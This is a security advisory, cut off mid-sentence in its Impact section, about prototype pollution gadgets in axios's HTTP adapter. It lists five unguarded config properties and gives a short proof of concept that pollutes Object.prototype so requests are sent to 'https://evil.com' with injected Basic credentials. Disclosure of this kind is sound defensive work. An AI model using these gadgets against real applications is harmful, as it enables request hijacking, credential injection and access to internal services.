Affected: npm: axios

## Summary

Five config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

## Affected Properties

1. **`config.auth`** (`lib/adapters/http.js` line 617) Injects attacker-controlled `Authorization` header on all requests. 2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server. 3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). 4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects. 5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests.

## Proof of Concept

```javascript const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials ```

## Impact

- **Credential inject…